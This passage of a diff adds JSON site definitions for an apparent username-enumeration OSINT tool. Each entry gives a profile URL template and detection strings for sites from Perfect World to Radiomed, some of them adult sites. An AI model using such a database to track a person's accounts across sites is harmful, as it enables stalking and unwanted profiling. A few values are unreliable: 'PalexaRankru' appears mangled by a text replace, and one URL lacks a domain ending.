"title>\u041e\u0448\u0438\u0431\u043a\u0430!Perfect World" + ], + "alexaRank": 49, + "urlMain": "https://pw.mail.ru", + "url": "https://pw.mail.ru/member.php?username={username}", + "usernameClaimed": "Wedm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PerfectWorldForum": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://pw.mail.ru/", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Periscope": { + "disabled": true, + "tags": [ + "streaming", + "us", + "video" + ], + "checkType": "status_code", + "alexaRank": 58873, + "urlMain": "https://www.periscope.tv/", + "url": "https://www.periscope.tv/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pesiq": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 256808, + "urlMain": "http://pesiq.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pewex.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza eksponaty od:" + ], + "url": "https://retro.pewex.pl/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pgpru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043e\u0431\u0449\u0435\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443." + ], + "alexaRank": 4474323, + "urlMain": "http://www.pgpru.com/", + "url": "http://www.pgpru.com/proekt/poljzovateli?profile={username}", + "usernameClaimed": "Onix", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Photobucket": { + "disabled": true, + "tags": [ + "photo", + "us" + ], + "regexCheck": "\\w{4,32}", + "checkType": "message", + "requestHeadOnly": true, + "absenceStrs": [ + "Found. Redirecting" + ], + "alexaRank": 3012, + "urlMain": "https://photobucket.com/", + "url": "https://app.photobucket.com/u/{username}", + "usernameClaimed": "onlinecomicbookstore", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Phrack": { + "checkType": "status_code", + "alexaRank": 1076320, + "urlMain": "http://phrack.org", + "url": "http://phrack.org/author_{username}.html", + "usernameClaimed": "Dispater", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Physicsforums": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 20840, + "urlMain": "https://www.physicsforums.com", + "url": "https://www.physicsforums.com/members/?username={username}", + "usernameClaimed": "zap", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Picsart": { + "tags": [ + "photo" + ], + "checkType": "status_code", + "alexaRank": 8904, + "urlMain": "https://picsart.com/", + "url": "https://picsart.com/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Picuki": { + "tags": [ + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "Error 500", + "Error 404", + "Checking if the site connection is secure" + ], + "alexaRank": 2255, + "urlMain": "https://www.picuki.com/", + "url": "https://www.picuki.com/profile/{username}", + "source": "Instagram", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Piekielni": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza historie od:" + ], + "url": "https://piekielni.pl/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pilguy": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 1587212, + "urlMain": "https://pilguy.com", + "usernameClaimed": "zaw", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinboard": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 35914, + "urlMain": "http://pinboard.in", + "url": "http://pinboard.in/u:{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinkbike": { + "tags": [ + "hobby", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 9499, + "urlMain": "https://www.pinkbike.com/", + "url": "https://www.pinkbike.com/u/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinme": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 113042, + "urlMain": "https://www.pinme.ru", + "url": "https://www.pinme.ru/u/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinterest": { + "tags": [ + "art", + "photo", + "sharing" + ], + "checkType": "message", + "alexaRank": 152, + "presenseStrs": [ + " followers", + " following", + " \u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u043e\u0432", + " \u043f\u043e\u0434\u043f\u0438\u0441\u043e\u043a" + ], + "absenceStrs": [ + "@undefined" + ], + "urlMain": "https://www.pinterest.com/", + "url": "https://www.pinterest.com/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Piratebuhta": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://piratebuhta.club", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis777", + "alexaRank": 12039551, + "disabled": true + }, + "Pitomec": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1239053, + "urlMain": "https://www.pitomec.ru", + "url": "https://www.pitomec.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pixelfed.social": { + "tags": [ + "art", + "pixelfed" + ], + "checkType": "status_code", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42", + "urlMain": "https://pixelfed.social/", + "url": "https://pixelfed.social/{username}/" + }, + "PlanetMinecraft": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Hmm, it seems that you've come across an invalid username", + "404 Not Found", + "Member Not Found" + ], + "presenseStrs": [ + "profile on Planet Minecraft to see their public Minecraft community activity" + ], + "alexaRank": 9050, + "urlMain": "https://www.planetminecraft.com", + "url": "https://www.planetminecraft.com/member/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Planetaexcel": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041d\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u043a\u043e\u0434 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f." + ], + "alexaRank": 49133, + "urlMain": "https://www.planetaexcel.ru", + "url": "https://www.planetaexcel.ru/forum/index.php?PAGE_NAME=profile_view&UID={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Play.md": { + "tags": [ + "md" + ], + "checkType": "response_url", + "alexaRank": 2213221, + "urlMain": "https://play.md", + "url": "https://play.md/profile/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Player": { + "tags": [ + "forum", + "ru", + "shopping" + ], + "engine": "vBulletin", + "alexaRank": 572441, + "urlMain": "http://player.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Playlists": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Sorry we can't find that page" + ], + "alexaRank": 195103, + "urlMain": "https://playlists.net", + "url": "https://playlists.net/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PlaystationTrophies": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "status_code", + "alexaRank": 49632, + "urlMain": "https://www.playstationtrophies.org", + "url": "https://www.playstationtrophies.org/forum/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Pling": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 67862, + "urlMain": "https://www.pling.com/", + "url": "https://www.pling.com/u/{username}/", + "errorUrl": "https://www.pling.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Plug.DJ": { + "disabled": true, + "tags": [ + "music" + ], + "checkType": "status_code", + "alexaRank": 3799094, + "urlMain": "https://plug.dj/", + "url": "https://plug.dj/@/{username}", + "usernameClaimed": "plug-dj-rock", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pluralsight": { + "tags": [ + "in", + "us" + ], + "checkType": "message", + "errors": { + "Unfortunately, Pluralsight's products are not available in your area at this time": "Site censorship" + }, + "absenceStrs": [ + "Not available | Profile", + "renderErrorPage(404)" + ], + "alexaRank": 4350, + "urlMain": "https://app.pluralsight.com", + "url": "https://app.pluralsight.com/profile/author/{username}", + "usernameClaimed": "adam-crahen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Plurk": { + "tags": [ + "tw" + ], + "checkType": "message", + "absenceStrs": [ + "User Not Found!" + ], + "alexaRank": 1614, + "urlMain": "https://www.plurk.com/", + "url": "https://www.plurk.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Poembook": { + "similarSearch": true, + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u043f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e! :(" + ], + "alexaRank": 78906, + "urlMain": "https://poembook.ru", + "url": "https://poembook.ru/any?query={username}", + "usernameClaimed": "DIKANNA", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pogovorim": { + "tags": [ + "by", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 384128, + "urlMain": "https://pogovorim.by", + "url": "https://pogovorim.by/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "nikola", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pokecommunity": { + "disabled": true, + "tags": [ + "de", + "forum", + "gb", + "us" + ], + "engine": "vBulletin", + "alexaRank": 50851, + "urlMain": "https://www.pokecommunity.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pokemon Showdown": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6863, + "urlMain": "https://pokemonshowdown.com", + "url": "https://pokemonshowdown.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PokerStrategy": { + "disabled": true, + "tags": [ + "ru" + ], + "errors": { + "PokerStrategy.org not available in": "Country restrictions" + }, + "checkType": "message", + "absenceStrs": [ + "Sorry, the requested page couldn't be found!" + ], + "alexaRank": 1821643, + "urlMain": "http://www.pokerstrategy.net", + "url": "http://www.pokerstrategy.net/user/{username}/profile/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pol.social": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "presenseStrs": [ + "@pol.social" + ], + "url": "https://pol.social/@{username}", + "usernameClaimed": "ducensor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polczat.pl": { + "checkType": "message", + "absenceStrs": [ + "Wybrany u\u017cytkownik nie istnieje." + ], + "presenseStrs": [ + "Historia wpis\u00f3w" + ], + "url": "https://polczat.pl/forum/profile/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Policja2009": { + "checkType": "message", + "absenceStrs": [ + "Informacja" + ], + "presenseStrs": [ + ">Wiadomo" + ], + "url": "http://www.policja2009.fora.pl/search.php?search_author={username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Politforums": { + "tags": [ + "forum", + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430 \u0441\u0432\u044f\u0436\u0438\u0442\u0435\u0441\u044c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c" + ], + "alexaRank": 207770, + "urlMain": "https://www.politforums.net/", + "url": "https://www.politforums.net/free/profile.php?showuser={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Politikforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 2125997, + "urlMain": "http://www.politikforum.ru/", + "usernameClaimed": "kostya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polleverywhere": { + "checkType": "message", + "absenceStrs": [ + "ResourceNotFound" + ], + "presenseStrs": [ + "name" + ], + "url": "https://pollev.com/proxy/api/users/{username}", + "usernameClaimed": "josh", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polygon": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 1757, + "urlMain": "https://www.polygon.com/", + "url": "https://www.polygon.com/users/{username}", + "usernameClaimed": "swiftstickler", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polymart": { + "checkType": "message", + "presenseStrs": [ + "Resources" + ], + "absenceStrs": [ + "Looks like we couldn't find this user. Sorry!" + ], + "url": "https://polymart.org/user/{username}", + "usernameClaimed": "craciu25yt", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pornhub": { + "tags": [ + "porn" + ], + "checkType": "message", + "presenseStrs": [ + "profileInformation" + ], + "absenceStrs": [ + "Error Page Not Found", + "cannot be found" + ], + "alexaRank": 74, + "urlMain": "https://pornhub.com/", + "url": "https://pornhub.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PornhubPornstars": { + "checkType": "message", + "absenceStrs": [ + "Error Page Not Found" + ], + "presenseStrs": [ + "Pornstar Rank" + ], + "url": "https://www.pornhub.com/pornstar/{username}", + "usernameClaimed": "riley-reid", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Portraitartistforum": { + "engine": "vBulletin", + "urlMain": "http://www.portraitartistforum.com", + "usernameClaimed": "Sam%20Savage", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 12143653 + }, + "Poshmark": { + "checkType": "message", + "absenceStrs": [ + "Page not found - Poshmark" + ], + "presenseStrs": [ + " is using Poshmark to sell items from their closet." + ], + "url": "https://poshmark.com/closet/{username}", + "usernameClaimed": "alice", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Postila": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 13320, + "urlMain": "https://postila.ru/", + "url": "https://postila.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PalexaRankru": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://palexaRankru.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Pregame": { + "tags": [ + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 64033, + "urlMain": "https://pregame.com", + "url": "https://pregame.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prizyvnik": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 438074, + "urlMain": "https://www.prizyvnik.info", + "url": "https://www.prizyvnik.info/members/?username={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pro-cats": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 5414178, + "urlMain": "http://pro-cats.ru", + "usernameClaimed": "parrots", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prodaman": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 103832, + "urlMain": "https://prodaman.ru", + "url": "https://prodaman.ru/{username}", + "usernameClaimed": "Natastraik", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProductHunt": { + "tags": [ + "tech", + "us" + ], + "checkType": "message", + "presenseStrs": [ + ":{\"data\":{\"profile\":{\"__typename\"" + ], + "absenceStrs": [ + "We seem to have lost this page" + ], + "alexaRank": 10638, + "urlMain": "https://www.producthunt.com/", + "url": "https://www.producthunt.com/@{username}", + "usernameClaimed": "rajiv_ayyangar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Professionali": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 41139, + "urlMain": "https://professionali.ru", + "url": "https://professionali.ru/~{username}", + "usernameClaimed": "mark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProfilesTigweb": { + "tags": [ + "ca", + "in", + "pk" + ], + "checkType": "status_code", + "alexaRank": 276522, + "urlMain": "https://profiles.tigweb.org", + "url": "https://profiles.tigweb.org/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Proglib": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 53386, + "urlMain": "https://proglib.io", + "url": "https://proglib.io/u/{username}/posts", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProgrammersForum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://www.programmersforum", + "usernameClaimed": "farts", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Prokoni": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 268598, + "urlMain": "https://www.prokoni.ru/", + "url": "https://www.prokoni.ru/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PromoDJ": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 46993, + "urlMain": "http://promodj.com/", + "url": "http://promodj.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Proshkolu": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 29471, + "urlMain": "https://proshkolu.ru", + "url": "https://proshkolu.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prosvetlenie": { + "ignore403": true, + "tags": [ + "kg", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 2103040, + "urlMain": "http://www.prosvetlenie.org", + "url": "http://www.prosvetlenie.org/forum/members/?username={username}", + "usernameClaimed": "odin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Proza.ru": { + "tags": [ + "ru", + "writing" + ], + "checkType": "message", + "absenceStrs": [ + "\u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 9550, + "urlMain": "https://www.proza.ru/", + "url": "https://www.proza.ru/avtor/{username}", + "usernameClaimed": "gpola", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prv.pl": { + "checkType": "message", + "absenceStrs": [ + "U\u017cytkownik nie istnieje." + ], + "presenseStrs": [ + "LOGIN" + ], + "url": "https://www.prv.pl/osoba/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Psychologies.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 20568, + "urlMain": "http://www.psychologies.ru", + "url": "http://www.psychologies.ru/personal/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Psyera": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 61415, + "urlMain": "https://psyera.ru", + "url": "https://psyera.ru/user/{username}", + "usernameClaimed": "eskariot", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Publiclab": { + "tags": [ + "in", + "science" + ], + "checkType": "response_url", + "alexaRank": 64988, + "urlMain": "https://publiclab.org", + "url": "https://publiclab.org/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PulmonaryHypertensionNews": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "presenseStrs": [ + "activity-personal-li" + ], + "alexaRank": 1616190, + "urlMain": "https://pulmonaryhypertensionnews.com", + "url": "https://pulmonaryhypertensionnews.com/forums/members/{username}/", + "usernameClaimed": "gwendolyn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PushSquare": { + "tags": [ + "gaming", + "news", + "us" + ], + "checkType": "status_code", + "alexaRank": 21227, + "urlMain": "http://www.pushsquare.com", + "url": "http://www.pushsquare.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PyPi": { + "tags": [ + "in", + "us" + ], + "errors": { + "Please enable JavaScript to proceed": "Scraping protection" + }, + "checkType": "status_code", + "alexaRank": 12591, + "urlMain": "https://pypi.org/", + "url": "https://pypi.org/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pyha": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 3979608, + "urlMain": "https://pyha.ru/", + "url": "https://pyha.ru/users/{username}", + "usernameClaimed": "Sinkler", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "programming.dev": { + "tags": [ + "lemmy" + ], + "checkType": "message", + "absenceStrs": [ + "Error!" + ], + "url": "https://programming.dev/u/{username}", + "urlMain": "https://programming.dev", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Qbn": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 386366, + "urlMain": "https://www.qbn.com/", + "url": "https://www.qbn.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quake-champions": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://quake-champions.pro", + "url": "https://quake-champions.pro/community/profile/{username}/", + "usernameClaimed": "bruner", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 445225 + }, + "Quartertothree": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 317623, + "urlMain": "https://forum.quartertothree.com", + "usernameClaimed": "rei", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Queer": { + "tags": [ + "pl" + ], + "checkType": "status_code", + "alexaRank": 6934378, + "urlMain": "https://queer.pl", + "url": "https://queer.pl/user/{username}", + "usernameClaimed": "dhoyosm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "QuestionableQuesting": { + "disabled": true, + "tags": [ + "forum", + "gb", + "jp", + "us" + ], + "engine": "XenForo", + "alexaRank": 55731, + "urlMain": "https://forum.questionablequesting.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Quibblo": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 117232, + "urlMain": "https://www.quibblo.com/", + "url": "https://www.quibblo.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quitter.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono" + ], + "presenseStrs": [ + "@quitter.pl" + ], + "url": "https://quitter.pl/profile/{username}", + "usernameClaimed": "divmod", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quizlet": { + "checkType": "message", + "absenceStrs": [ + "Page Unavailable" + ], + "presenseStrs": [ + "| Quizlet" + ], + "url": "https://quizlet.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quora": { + "tags": [ + "education" + ], + "checkType": "response_url", + "alexaRank": 347, + "urlMain": "https://www.quora.com/", + "url": "https://www.quora.com/profile/{username}", + "errorUrl": "https://www.quora.com/profile/{username}", + "usernameClaimed": "Matt-Riggsby", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Qwas": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2983388, + "urlMain": "http://forum.qwas.ru", + "url": "http://forum.qwas.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "disman3", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RC-MIR": { + "tags": [ + "ru" + ], + "regexCheck": "^[a-zA-Z0-9-]+$", + "checkType": "message", + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435" + ], + "alexaRank": 1403768, + "urlMain": "http://rcmir.com/", + "url": "http://{username}.rcmir.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "RPGGeek": { + "ignore403": true, + "tags": [ + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist" + ], + "alexaRank": 229543, + "urlMain": "https://rpggeek.com", + "url": "https://rpggeek.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RPGRussia": { + "disabled": true, + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 344379, + "urlMain": "https://rpgrussia.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RRForums": { + "tags": [ + "au", + "forum" + ], + "checkType": "message", + "absenceStrs": [ + "Profile Does Not Exist" + ], + "alexaRank": 2801221, + "urlMain": "http://au.rrforums.net/", + "url": "http://au.rrforums.net/cgi-bin/forum/board-profile.pl?action=view_profile&profile={username}-users", + "usernameClaimed": "guyslp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RUDTP": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 154537, + "urlMain": "https://forum.rudtp.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radio-uchebnik": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 409242, + "urlMain": "http://radio-uchebnik.ru", + "url": "http://radio-uchebnik.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "sasha", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radiokot": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e.", + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 78504, + "urlMain": "https://www.radiokot.ru", + "url": "https://www.radiokot.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radiomed": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 280960, + "urlMain": "https://radiomed.ru", + "url": 